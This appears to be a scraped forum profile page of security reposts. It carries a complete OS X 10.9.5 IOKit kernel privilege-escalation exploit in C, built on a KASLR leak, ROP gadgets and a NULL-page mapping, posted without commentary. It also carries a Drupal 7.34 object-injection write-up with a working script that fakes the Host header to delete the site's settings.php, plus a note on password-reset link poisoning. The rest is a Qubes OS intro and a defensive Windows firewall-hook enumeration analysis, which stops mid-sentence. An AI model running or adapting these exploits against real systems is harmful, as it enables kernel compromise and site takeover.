-
Posts
18785 -
Joined
-
Last visited
-
Days Won
738
Everything posted by Nytro
-
[h=1]OS X 10.9.5 IOKit IntelAccelerator NULL Pointer Dereference[/h] // clang -o ig_2_3_exploit ig_2_3_exploit.c -framework IOKit -framework CoreFoundation -m32 -D_FORTIFY_SOURCE=0 // ianbeer #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <CoreFoundation/CoreFoundation.h> #include <IOKit/IOKitLib.h> uint64_t kernel_symbol(char* sym){ char cmd[1024]; strcpy(cmd, "nm -g /mach_kernel | grep "); strcat(cmd, sym); strcat(cmd, " | cut -d' ' -f1"); FILE* f = popen(cmd, "r"); char offset_str[17]; fread(offset_str, 16, 1, f); pclose(f); offset_str[16] = '\x00'; uint64_t offset = strtoull(offset_str, NULL, 16); return offset; } uint64_t leaked_offset_in_kext(){ FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r"); char offset_str[17]; fread(offset_str, 16, 1, f); pclose(f); offset_str[16] = '\x00'; uint64_t offset = strtoull(offset_str, NULL, 16); offset += 0x10; //offset from symbol to leaked pointer return offset; } uint64_t leak(){ io_iterator_t iter; CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault), kIOServicePlane, CFSTR("AAPL,iokit-ndrv"), kCFAllocatorDefault, kIORegistryIterateRecursively); if (CFGetTypeID(p) != CFDataGetTypeID()){ printf("expected CFData\n"); return 1; } if (CFDataGetLength(p) != 8){ printf("expected 8 bytes\n"); return 1; } uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p)); return leaked; } extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); uint64_t kext_load_addr(char* target_name){ uint64_t addr = 0; CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL); CFIndex count = CFDictionaryGetCount(kd); void **keys; void **values; keys = (void **)malloc(sizeof(void *) * count); values = (void **)malloc(sizeof(void *) * count); CFDictionaryGetKeysAndValues(kd, (const void **)keys, (const void **)values); for(CFIndex i = 0; i < count; i++){ const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman); if (strcmp(name, target_name) == 0){ CFNumberGetValue(CFDictionaryGetValue(values[i], CFSTR("OSBundleLoadAddress")), kCFNumberSInt64Type, &addr); printf("%s: 0x%016llx\n", name, addr); break; } } return addr; } uint64_t load_addr(){ uint64_t addr = 0; CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL); CFIndex count = CFDictionaryGetCount(kd); void **keys; void **values; keys = (void **)malloc(sizeof(void *) * count); values = (void **)malloc(sizeof(void *) * count); CFDictionaryGetKeysAndValues(kd, (const void **)keys, (const void **)values); for(CFIndex i = 0; i < count; i++){ const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman); if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){ CFNumberGetValue(CFDictionaryGetValue(values[i], CFSTR("OSBundleLoadAddress")), kCFNumberSInt64Type, &addr); printf("%s: 0x%016llx\n", name, addr); break; } } return addr; } uint64_t* build_vtable(uint64_t kaslr_slide, size_t* len){ uint64_t kernel_base = 0xffffff8000200000; kernel_base += kaslr_slide; int fd = open("/mach_kernel", O_RDONLY); if (!fd) return NULL; struct stat _stat; fstat(fd, &_stat); size_t buf_len = _stat.st_size; uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0); if (!buf) return NULL; /* this stack pivot to rax seems to be reliably present across mavericks versions: push rax add [rax], eax add [rbx+0x41], bl pop rsp pop r14 pop r15 pop rbp ret */ uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e}; uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes)); uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf); printf("offset of pivot gadget: %p\n", pivot_gadget_offset); uint64_t pivot = kernel_base + pivot_gadget_offset; /* pop rdi ret */ uint8_t pop_rdi_ret_gadget_bytes[] = {0x5f, 0xc3}; uint8_t* pop_rdi_ret_loc = memmem(buf, buf_len, pop_rdi_ret_gadget_bytes, sizeof(pop_rdi_ret_gadget_bytes)); uint64_t pop_rdi_ret_gadget_offset = (uint64_t)(pop_rdi_ret_loc - buf); printf("offset of pop_rdi_ret gadget: %p\n", pop_rdi_ret_gadget_offset); uint64_t pop_rdi_ret = kernel_base + pop_rdi_ret_gadget_offset; /* pop rsi ret */ uint8_t pop_rsi_ret_gadget_bytes[] = {0x5e, 0xc3}; uint8_t* pop_rsi_ret_loc = memmem(buf, buf_len, pop_rsi_ret_gadget_bytes, sizeof(pop_rsi_ret_gadget_bytes)); uint64_t pop_rsi_ret_gadget_offset = (uint64_t)(pop_rsi_ret_loc - buf); printf("offset of pop_rsi_ret gadget: %p\n", pop_rsi_ret_gadget_offset); uint64_t pop_rsi_ret = kernel_base + pop_rsi_ret_gadget_offset; /* pop rdx ret */ uint8_t pop_rdx_ret_gadget_bytes[] = {0x5a, 0xc3}; uint8_t* pop_rdx_ret_loc = memmem(buf, buf_len, pop_rdx_ret_gadget_bytes, sizeof(pop_rdx_ret_gadget_bytes)); uint64_t pop_rdx_ret_gadget_offset = (uint64_t)(pop_rdx_ret_loc - buf); printf("offset of pop_rdx_ret gadget: %p\n", pop_rdx_ret_gadget_offset); uint64_t pop_rdx_ret = kernel_base + pop_rdx_ret_gadget_offset; munmap(buf, buf_len); close(fd); /* in IOAcceleratorFamily2 two locks are held - r12 survives the pivot, this should unlock all the locks from there: __text:0000000000006F80 lea rsi, unk_32223 __text:0000000000006F87 mov rbx, [r12+118h] __text:0000000000006F8F mov rax, [rbx] __text:0000000000006F92 mov rdi, rbx __text:0000000000006F95 xor edx, edx __text:0000000000006F97 call qword ptr [rax+858h] __text:0000000000006F9D mov rdi, rbx ; this __text:0000000000006FA0 call __ZN22IOGraphicsAccelerator211unlock_busyEv ; IOGraphicsAccelerator2::unlock_busy(void) __text:0000000000006FA5 mov rdi, [rbx+88h] __text:0000000000006FAC call _IOLockUnlock __text:0000000000006FB1 __text:0000000000006FB1 loc_6FB1: ; CODE XREF: IOAccelContext2::clientMemoryForType(uint,uint *,IOMemoryDescriptor **)+650j __text:0000000000006FB1 xor ecx, ecx __text:0000000000006FB3 jmp loc_68BC ... __text:00000000000068BC mov eax, ecx ; jumptable 00000000000067F1 default case __text:00000000000068BE add rsp, 38h __text:00000000000068C2 pop rbx __text:00000000000068C3 pop r12 __text:00000000000068C5 pop r13 __text:00000000000068C7 pop r14 __text:00000000000068C9 pop r15 __text:00000000000068CB pop rbp __text:00000000000068CC retn */ uint64_t unlock_locks = kext_load_addr("com.apple.iokit.IOAcceleratorFamily2") + kaslr_slide + 0x6f80; printf("0x%016llx\n", unlock_locks); uint64_t KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide; uint64_t thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide; //char* payload = "/Applications/Calculator.app/Contents/MacOS/Calculator"; char* payload = "/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal"; uint64_t rop_stack[] = { 0, //pop r14 0, //pop r15 0, //pop rbp +10 unlock_locks, pivot, //+20 virtual call is rax+20 0, //+10 0, //+18 0, 0, //+28 0, 0, //+38 0, //pop rbx 0, //pop r12 0, //pop r13 0, //pop r14 0, //pop r15 0, //pop rbp pop_rdi_ret, (uint64_t)payload, pop_rsi_ret, 0, pop_rdx_ret, 0, KUNCExecute, thread_exception_return }; uint64_t* r = malloc(sizeof(rop_stack)); memcpy(r, rop_stack, sizeof(rop_stack)); *len = sizeof(rop_stack); return r; } void trigger(void* vtable, size_t vtable_len){ //need to overallocate and touch the pages since this will be the stack: mach_vm_address_t addr = 0x41420000 - 10 * 0x1000; mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0); memset(addr, 0, 0x20*0x1000); memcpy((void*)0x41420000, vtable, vtable_len); //map NULL page vm_deallocate(mach_task_self(), 0x0, 0x1000); addr = 0; vm_allocate(mach_task_self(), &addr, 0x1000, 0); char* np = 0; for (int i = 0; i < 0x1000; i++){ np[i] = 'A'; } volatile uint64_t* zero = 0; *zero = 0x41420000; //trigger vuln CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator"); io_iterator_t iterator; kern_return_t err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); io_service_t service = IOIteratorNext(iterator); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 2, &conn); addr = 0x12345000; mach_vm_size_t size = 0x1000; err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere); } int main() { uint64_t leaked_ptr = leak(); uint64_t kext_load_addr = load_addr(); // get the offset of that pointer in the kext: uint64_t offset = leaked_offset_in_kext(); // sanity check the leaked address against the symbol addr: if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){ printf("the leaked pointer doesn't match up with the expected symbol offset\n"); return 1; } uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr; printf("kaslr slide: %p\n", kaslr_slide); size_t vtable_len = 0; void* vtable = build_vtable(kaslr_slide, &vtable_len); trigger(vtable, vtable_len); return 0; } Sursa: OS X 10.9.5 IOKit IntelAccelerator NULL Pointer Dereference
-
Welcome to the Qubes OS Project Qubes is an open-source operating system designed to provide strong security for desktop computing using Security by Compartmentalization approach. Qubes is based on Xen, the X Window System, and Linux, and can run most Linux applications and utilize most of the Linux drivers. Qubes Release 1 was released in September 2012 and Release 2 in September 2014. Qubes also supports Windows-based AppVMs beginning with Release 2 (currently in "Beta"). Qubes Release 3 is coming soon and will introduce Hypervisor Abstraction Layer (HAL), allowing easy porting to alternative virtualization systems. Getting Started ?Qubes OS Tutorial slides by ITL (LinuxCon October 2014) Screenshots Architecture Overview, and also the more recent: ?Why Qubes OS is more than a bunch of VMs? Qubes Security Goals FAQ User Documentation ?How is Qubes OS different from...? Beyond Qubes R2 -- the ?Qubes Odyssey Framework Sursa: https://wiki.qubes-os.org/
-
Drupal 7.34 Admin PHP Object Injection There is an interesting PHP object injection vulnerability in the latest Drupal 7.34 version I played with lately and wanted to write about. It requires administrator privileges and thus its security impact is negligible because a Drupal administrator can execute arbitrary code by uploading custom modules anyway. However, the exploitation is fun and I will document each failed/succeeded step I took. 1. PHP Object Injection Drupal is shipped with a SimpleTest module that allows to write and execute test cases for Drupal modules (/modules/simpletest/drupal_web_test_case.php). For this purpose, the class DrupalTestCase provides methods to automate interaction with the Drupal interface. The method curlHeaderCallback() unserializes data that is passed to its second parameter, for example if the string X-Drupal-Assertion-1: is prepended. [TABLE] [TR] [TD=class: gutter]1841 1842 1843 1844 1845 1846[/TD] [TD=class: code]protected function curlHeaderCallback($curlHandler, $header) { ... if (preg_match('/^X-Drupal-Assertion-[0-9]+: (.*)$/', $header, $matches)) { // Call DrupalWebTestCase::error() with the parameters from the header. call_user_func_array(array(&$this, 'error'), unserialize(urldecode($matches[1]))); } [/TD] [/TR] [/TABLE] Lets see where this method is used. As the name suggests, the curlHeaderCallback() is set as CURLOPT_HEADERFUNCTION callback in the curlInitialize() method. [TABLE] [TR] [TD=class: gutter]1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724[/TD] [TD=class: code]protected function curlInitialize() { global $base_url; if (!isset($this->curlHandle)) { $this->curlHandle = curl_init(); $curl_options = array( CURLOPT_COOKIEJAR => $this->cookieFile, CURLOPT_URL => $base_url, CURLOPT_FOLLOWLOCATION => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_SSL_VERIFYHOST => FALSE, CURLOPT_HEADERFUNCTION => array(&$this, 'curlHeaderCallback'), CURLOPT_USERAGENT => $this->databasePrefix, ); [/TD] [/TR] [/TABLE] That means that every HTTP response header of a request made with this CURL instance is passed through the vulnerable curlHeaderCallback() method. If we can influence the HTTP response header of such an CURL request, we can inject serialized PHP objects into the unserialize call. The HTTP response we want to achive could look like the following in order to inject a stdClass object into the applications scope: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]HTTP/1.1 200 OK Date: Sun, 04 Jan 2015 15:03:36 GMT Server: Apache X-Drupal-Assertion-1: O:8:"stdClass":1:{s:4:"rips";b:1;} Content-Length: 0 Content-Type: text/html [/TD] [/TR] [/TABLE] The method curlInitialize() is used in the curlExec() method to prepare and execute a CURL request. Here, further CURL options can be specified in the first parameter $curl_options. [TABLE] [TR] [TD=class: gutter]1769 1770 1771 1772 1773 1774[/TD] [TD=class: code]protected function curlExec($curl_options, $redirect = FALSE) { $this->curlInitialize(); ... curl_setopt_array($this->curlHandle, $this->additionalCurlOptions + $curl_options); ... $content = curl_exec($this->curlHandle); [/TD] [/TR] [/TABLE] The wrapper curlExec() is used in the methods drupalGet() and drupalPost() to perform the actual test case request. The targeted request URL is given in the first parameter and is used as CURLOPT_URL parameter. [TABLE] [TR] [TD=class: gutter]1930 1931 1932 1933[/TD] [TD=class: code]protected function drupalGet($path, array $options = array()) { $options['absolute'] = TRUE; $out = $this->curlExec(array(CURLOPT_URL => url($path, $options)); [/TD] [/TR] [/TABLE] 2. Header Injection We now have two possible ways of exploitation. Either, we find a drupalGet() call that we can point to an external domain we control. Then we can respond with a modified HTTP header that will be passed to curlHeaderCallback() and triggers the unserialize. Or we find a HTTP Response Splitting vulnerability within on of Drupal’s scripts plus a drupalGet() or drupalPost() call targeting that script. Then we can inject our own X-Drupal-Assertion header through that vulnerability and add our serialized data. An open redirect vulnerability would work as well here. A quick grep for drupalGet() calls reveals that they are mostly pointing to static and relative URLs. Since Drupal’s test cases work on the current Drupal installation, a call to an external domain we control is unlikely. Hence, I first looked for HTTP Response Splitting vulnerabilities. 2.1 Drupal Send Headers Looking at several header() calls in Drupal’s code reveals the function drupal_add_http_header() that uses drupal_send_headers() to set arbitrary HTTP headers via header(). It is called with user input in the simpletest case /modules/simpletest/tests/system_test.module that looks promising at first sight. [TABLE] [TR] [TD=class: gutter]1930 1931 1932 1933[/TD] [TD=class: code]function system_test_set_header() { drupal_add_http_header($_GET['name'], $_GET['value']); return t('The following header was set: %name: %value', array('%name' => $_GET['name'], '%value' => $_GET['value'])); } [/TD] [/TR] [/TABLE] The function system_test_set_header() is called in the system test case suite and allows to set arbitrary HTTP headers for testing. This way, we could set a X-Drupal-Assertion header. However, the system_test.module test case itself is not targeted by a drupalGet() call that would evaluate our injected HTTP header with the vulnerable callback handler. That would mean that a test case issues this test case. And even if we could point a drupalPost() call of a test case to another test case, we would need HTTP parameter pollution to also modify the HTTP parameters to add the name and value parameter. Summarized, code within test cases is probably hard to trigger with the set of drupalGet() calls we can find in test cases. Maybe we find an easier way. 2.2 HTTP Response Splitting A more promising function is drupal_goto() in /includes/common.inc that is vulnerable to HTTP response splitting. Here, the GET parameter destination is used (if set) in the header() call in line 691 for redirection. By using whitespace characters, such as %0a or %0d, we can add another HTTP header to the previous one (we will come back to the fact that the header() function was fixed). [TABLE] [TR] [TD=class: gutter]681 682 683 684 685 686 687 688 689 690 691 692[/TD] [TD=class: code]function drupal_goto($path = '', array $options = array(), $http_response_code = 302) { // A destination in $_GET always overrides the function arguments. // We do not allow absolute URLs to be passed via $_GET, as this can be an attack vector. if (isset($_GET['destination']) && !url_is_external($_GET['destination'])) { $destination = drupal_parse_url($_GET['destination']); $path = $destination['path']; $options['query'] = $destination['query']; $options['fragment'] = $destination['fragment']; } $url = url($path, $options); header('Location: ' . $url, TRUE, $http_response_code); } [/TD] [/TR] [/TABLE] First, a few tricks are neccessary. The provided destination URL cannot be an external URL which is ensured by the url_is_external() function in line 684. It identifies external URLs by looking for the presence of a : character and ensuring none of the following character is found before it: /?#. Then, the function drupal_parse_url() is used in line 685 to parse the URL into parts. Lastly, the function url() in line 690 generates a urlencoded URL from the parsed parts and that URL is used in header(). We have to smuggle our whitespace characters urldecoded through these functions into the $url. [TABLE] [TR] [TD=class: gutter]575 576 577 578 579 580 581 582 583 584 585 586 587 588 589[/TD] [TD=class: code]function drupal_parse_url($url) { if (strpos($url, '://') !== FALSE) { // Split off everything before the query string into 'path'. $parts = explode('?', $url); $options['path'] = $parts[0]; // If there is a query string, transform it into keyed query parameters. if (isset($parts[1])) { $query_parts = explode('#', $parts[1]); parse_str($query_parts[0], $options['query']); // Take over the fragment, if there is any. if (isset($query_parts[1])) { $options['fragment'] = $query_parts[1]; } } } [/TD] [/TR] [/TABLE] For this purpose, we can abuse the drupal_parse_url() function and its parsing for external URLs. External URLs are identified here by looking for :// and we can easily supply #://AAA?BBB=CCC#DDD as URL to bypass the url_is_external() check because of the # before the : character. Our URL is still parsed as external URL in drupal_parse_url() because it contains ://. Here, the function parse_str() is used in line 583. Now, for relative URLs, parse_str() replaces whitespaces characters within the path (AAA) or parameter names (BBB) into _. That means we cannot inject our whitespace characters here. We can inject them into the parameter values (CCC) because parse_str() automatically decodes urlencoded values here. Later on, however, the function url() will urlencode these values again. But we can use the fragment part (DDD) which is later not urlencoded again by url(). The weaponized destination parameter looks like the following: ?destination=%23://AAA?BBB=CCC%23DDD%0A%09X-Drupal-Assertion-1:%201 Next, isn’t header() fixed in order to prevent HTTP response splitting? It depends on the browser used (and on the PHP version). For example, in IE there are still attack vectors working after the fix. More importantly for us is: how is CURL affected by HTTP response splitting? After fuzzing it turns out that all PHP versions allow %0a%09 within header() AND that CURL parses two seperate HTTP headers when these characters are used as newline characters. That means HTTP response splitting is a viable attack vector against CURL in PHP. So far so good, lets see where drupal_goto() is called and if we can trigger a call via a drupalGet() or drupalPost() call with our destination parameter. For example, I found the following URL to be affected by HTTP response splitting if requested with CURL: /authorize.php?batch=1&id=1&destination=%23://A?B=C%23D%0A%09X-Drupal-Assertion-1:%201 However, after looking through 1000 variable drupal(Get|Post) calls, the only variables in the URL seem to be $item->ids or Drupal’s $base_url. Although authorize.php is targeted by CURL requests, we can not add our destination parameter to the request URL because no URL is built with user input. Injecting a parameter into a CURL request that performs HTTP response splitting in order to add a HTTP header that is then unserialized in the callback handler and triggers a gadget chain would have been a pretty cool exploit though . 2.3 External URL Before we give up, lets have a look at the $base_url that is used in so many drupalGet() calls, such as in the aggregator test case (/modules/aggregator/aggregator.test). [TABLE] [TR] [TD=class: gutter]838 839 840[/TD] [TD=class: code]public function testCron() { global $base_url; $this->drupalGet($base_url . '/cron.php'); [/TD] [/TR] [/TABLE] The global $base_url variable is initialized within the drupal_settings_initialize() function during Drupal’s bootstrap (/includes/bootstrap.inc). [TABLE] [TR] [TD=class: gutter]725 726 727 728 729 730 731 732 733 734 735 736[/TD] [TD=class: code]function drupal_settings_initialize() { global $base_url, $base_path, $base_root; ... // Create base URL $http_protocol = $is_https ? 'https' : 'http'; $base_root = $http_protocol . '://' . $_SERVER['HTTP_HOST']; $base_url = $base_root; ... // Use $base_url as session name, without the protocol list( , $session_name) = explode('://', $base_url, 2); session_name($prefix . substr(hash('sha256', $session_name), 0, 32)); } [/TD] [/TR] [/TABLE] The good thing is, that it uses $_SERVER[‘HTTP_HOST’] (line 730). We can arbitrarily change the Host: header when making a request to Drupal. That means, we can set the Host: header to our own domain when initiating the testCron() aggregator test case which will then initiate a CURL request to the modified $base_url. On our server, we reply with a X-Drupal-Assertion HTTP header that is then unserialized by the targeted web server. The bad thing is, that drupal_settings_initialize() also binds the $base_url to the session name (line 735). That means, we have to fake the Host: header for all steps involved in our exploit. And we have to find some gadget chains we can exploit. 3. Exploitation Lets do this. The gadget chains are not really sophisticated in Drupal due to the lack of interesting initial gadgets (magic methods). We will use the destructor of the class Archive_Tar (/modules/system/system.tar.inc) that allows to delete an arbitrary file by specifying the _temp_tarname property. [TABLE] [TR] [TD=class: gutter]207 208 209 210 211 212 213 214[/TD] [TD=class: code]class Archive_Tar { function __destruct() { $this->_close(); if ($this->_temp_tarname != '') @drupal_unlink($this->_temp_tarname); } } [/TD] [/TR] [/TABLE] On our server we create the following script that instantiates a new Archive_Tar object with the _temp_tarname property set to Drupal’s config file sites/default/settings.php. The object is then serialized and embedded to the HTTP response header. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9[/TD] [TD=class: code]class Archive_Tar { var $_temp_tarname=''; public function __construct() { $this->_temp_tarname = "sites/default/settings.php"; } } $payload = urlencode(serialize(new Archive_Tar)); header('X-Drupal-Assertion-1: '.$payload); exit; [/TD] [/TR] [/TABLE] Now we have to start the Drupal test case with a faked Host: header in order to let the drupalGet() CURL request point to our script. For this purpose, we write an exploit that logs into Drupal with a faked header to keep our session valid and starts the test case: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81[/TD] [TD=class: code]<?php // Drupal 7.34 POI just for fun // requires admin credentials $username = 'admin'; $password = 'admin'; $targetDomain = 'localhost'; $myDomain = 'websec.wordpress.com'; function request($url, $postdata='', $ajax = false) { global $cookie, $myDomain; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_URL, $url); if(!empty($postdata)) { curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); } curl_setopt($ch, CURLOPT_COOKIE, $cookie); $header = array("Host: $myDomain"); if($ajax) { $header[] = "X-Requested-With: XMLHttpRequest"; } curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_FORBID_REUSE, true); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); $buf = curl_exec ($ch); curl_close($ch); preg_match('/Set-Cookie: (SESS[a-f0-9]{32})=([^;]+);/', $buf, $cookies); if(!empty($cookies)) { $cookie .= $cookies[1].'='.$cookies[2]."; "; } return $buf; } $baseURL = 'http://%s/'; $target = sprintf($baseURL, $targetDomain); $cookie = 'has_js=1; '; // get CSRF token $r1 = request($target); preg_match('/form_build_id" value="([^"]*)"/', $r1, $build_id); // login $postdata = 'form_build_id='. $build_id[1] . '&name='. $username. '&pass='.$password. '&op=Log+in&form_id=user_login_block'; $r2 = request($target . '?q=node&destination=node', $postdata); // check login status $r3 = request($target . '?q=node'); if(strpos($r3, 'Hello <strong>'.$username) !== FALSE) { // get CSRF token $r4 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay'); preg_match('/form_build_id" value="([^"]*)"/', $r4, $build_id2); preg_match('/form_token" value="([^"]*)"/', $r4, $token); if(isset($build_id2[1]) && isset($token[1])) { // run simple test $postdata = 'AggregatorCronTestCase=1&op=Run+tests&form_build_id='.$build_id2[1]. '&form_token='.$token[1].'&form_id=simpletest_test_form'; $r5 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay&render=overlay', $postdata); // trigger start and do preg_match('#Location: http[^\s]+(\?[^\s]+)\s#', $r5, $loc); $r6 = request($target . $loc[1]); $r7 = request($target . str_replace('start', 'do', $loc[1]), 'post=1', true); echo 'Successfully started AggregatorCronTestCase with a faked Host header.', 'It will parse HTTP headers from ' . sprintf($baseURL, $myDomain) . '.', 'This may take a few minutes.'; } else { die("could not fetch simpletest CSRF token"); } } else { die("Could not login. Invalid login credentials?"); } [/TD] [/TR] [/TABLE] The initiated test case will then make a CURL request to our domain because we faked the $base_url. Here, it will receive our X-Drupal-Assertion header with the serialized Archive_Tar object. This object is now unserialized in the CURL callback handler and injected into the applications scope. Once the application request is parsed, the destructor of our injected Archive_Tar object is invoked and the Drupal configuration file is deleted. Once this happened, the Drupal installer is available to the attacker that enables further attacks. Again, this is just for fun and does not pose any security risk to Drupal, because administrator privileges are required and an administrator is able to execute code on the server anyway. The issue has been reported to Drupal nonetheless. I have been informed that the permission “Administer tests” has the restricted access flag set and is therefore not subject to security advisories/releases (which I agree with). The HTTP host header leads to another attack vector in Drupal. The $base_url is also used in the password reset link sent out by email. When the password reset is initiated with a faked host header for a victim, the link that is sent to the victim via email will point to the attackers server. If the victim clicks on the password reset link, the password reset token is then transmitted to the attacker and not to the Drupal installation. Drupal decided to not patch this issue and released a guideline to implement countermeasures. Sursa: https://websec.wordpress.com/2015/01/09/drupal-7-34-admin-php-object-injection/
-
Windows Firewall Hook Enumeration Monday January 19, 2015 tl;dr We’re going to look in detail at Microsoft Windows Firewall Hook drivers from Windows 2000, XP and 2003. This functionality was leveraged by the Derusbi family of malicious code to implement port-knocking like functionality. We’re going to discuss the problem we faced, the required reverse engineering to understand how these hooks could be identified and finally how the enumeration tool was developed. Introduction Background Our Cyber Defense Operations team encountered the Derusbi family malware which implemented port knocking by registering a firewall hook. We’ll be releasing another post discussing the malware in detail but suffice to say what was missing was a tool to enumerate firewall hooks. This lack of capability led us to researching and developing the toolset to enable enumeration of these hooks. Firewall Hook Drivers To create a tool to enumerate the registered firewall hooks there was no need to develop a deep understanding on what firewall hooks are and how they really work. Learning about them is not easy as Microsoft did not publically at least provide too much information other than an introduction to the concept and some reasoning [1] on why not to use them. However a very good guide written by Jesus Oliva on how to implement a firewall hook driver can be found on Codeproject [2] along with the source of a demo project. By reading the article and having a look at the demo project it was possible to obtain the amount of information necessary to get started. It is also worth mentioning that this demo project – after modifying it to compile with Visual Studio 2010 – was very useful for testing the hook enumerator driver. [1] Firewall-Hook Drivers (Windows Drivers) [2] An Adventure: How to implement a Firewall-Hook Driver? - CodeProject Reverse Engineering Piece of Cake A firewall hook driver can manage TCP/IP packets, allowing them to implement or extend host-based packet filtering firewalls. Registering a firewall hook can be done by sending an IOCTL request to TCPIP.SYS. As can be seen in the Codeproject article mentioned previously, when registering or unregistering a hook, the address of the function, a priority and the operation to be performed has to be provided. The relevant code from the article can be seen below. [TABLE=width: 665] [TR] [TD=width: 665] // Init structure filterData. FirewallPtr = filterFunction; filterData.Priority = 1; filterData.Add = TRUE;[/TD] [/TR] [/TABLE] So how do we approach the problem? As it is possible to register and unregister firewall hooks, TCPIP.SYS probably maintains a list of registered firewall hooks. The list is probably an ordered list because of the priority. However this is likely not really relevant. The most important fact is that there will probably be some code to check if the callout is already registered. This code should have a similar flow as it can be seen below. This flow will be the pattern to look for in TCPIP.SYS. After locating this code and the address of the hook-list in memory within TCPIP.SYS it should be fairly simple to write a tool to iterate through the list and print out the address of the registered hooks. FirewallUpdateQ Loading up TCPIP.SYS in IDA Pro gives us a very pleasant surprise. TCPIP.SYS has public symbols provided and it is possible for IDA to retrieve TCPIP.PDB from the Microsoft Symbol Server. This makes the reversing process extremely simple because a quick search for the word “Firewall” in the function name window gives a short list of functions to look at. As the lookup function is expected to be around the hook registering and unregistering function, the most logical choice is to have a look at the SetFirewallHook function. The code above is pretty straightforward, but there is not much interesting in there, except a call to the UpdateFirewallQ function. The UpdateFirewallQ function is more complex. Fortunately we have a graph view, which I find very useful as it makes it easy for example to spot patterns in the execution flow. Having a look at the graph below it can be seen that the function starts with some initialization. This has been marked with an orange rectangle. The FQCounter and FQBlock variables are important, but more on these later. Right after the initialization there is a block which implements a loop. This has been marked with a red rectangle. Based on these, the following execution flow can be assumed: Initialization (orange rectangle) Checking if the hook is registered (red rectangle) Register or unregister the hook (rest of the function) Now it is time to have a look at the details to see whether the assumptions in our strategy were right or not. Initialization As the first step, the initialization code was rearranged by moving position independent instructions in a way that makes it easier to create groups of relevant instructions (marked with different colors). This can be seen below. [TABLE=width: 665] [TR=class: odd] [TD=width: 665] .text:00029033 ; __stdcall UpdateFirewallQ(x, x, x) .text:00029033 _UpdateFirewallQ@12 proc near ; CODE XREF: SetFirewallHook(x)+25#p .text:00029033 .text:00029033 var_4 = dword ptr -4 .text:00029033 arg_0 = dword ptr 8 .text:00029033 arg_4 = dword ptr 0Ch .text:00029033 arg_8 = dword ptr 10h .text:00029033 .text:00029033 ; FUNCTION CHUNK AT .text:000315FE SIZE 0000013F BYTES .text:00029033 ; This is for hot patching, not relevant .text:00029033 mov edi, edi ; Stack setup, not relevant .text:00029035 push ebp .text:00029036 mov ebp, esp ; Saving register values, not relevant .text:00029038 push ecx .text:0002903E push ebx .text:00029042 push esi .text:00029046 push edi ; Clearing out registers, not really relevant .text:00029047 xor ecx, ecx .text:0002905B xor ebx, ebx ; The fun starts here... .text:00029039 mov eax, _FQCounter .text:0002903F and eax, 1 .text:00029043 shl eax, 4 .text:00029049 mov esi, offset dword_51870 .text:0002904E lea edi, _FQBlock[eax] .text:00029054 sub esi, eax .text:00029056 mov eax, [edi] .text:00029058 mov [ebp+var_4], ecx[/TD] [/TR] [/TABLE] By analyzing both the initialization and the code in the red rectangle it can be seen that the instructions marked with gray are irrelevant for our analysis. The chain of instructions marked with orange are working with the value held by the FQCounter variable. According to the instructions, the EAX register will hold 0x0 if the value pointed to by FQCounter is 0 otherwise EAX is 0x10. The instructions marked with red basically set up the registers for the lookup. As it can be seen on the picture below FQBlock is at a static offset (0x00051860), just as FQCounter (0x00051880). What is important at this point is that: The EDI register will point to the first hook entry (the address of FQBlock) which is at offset 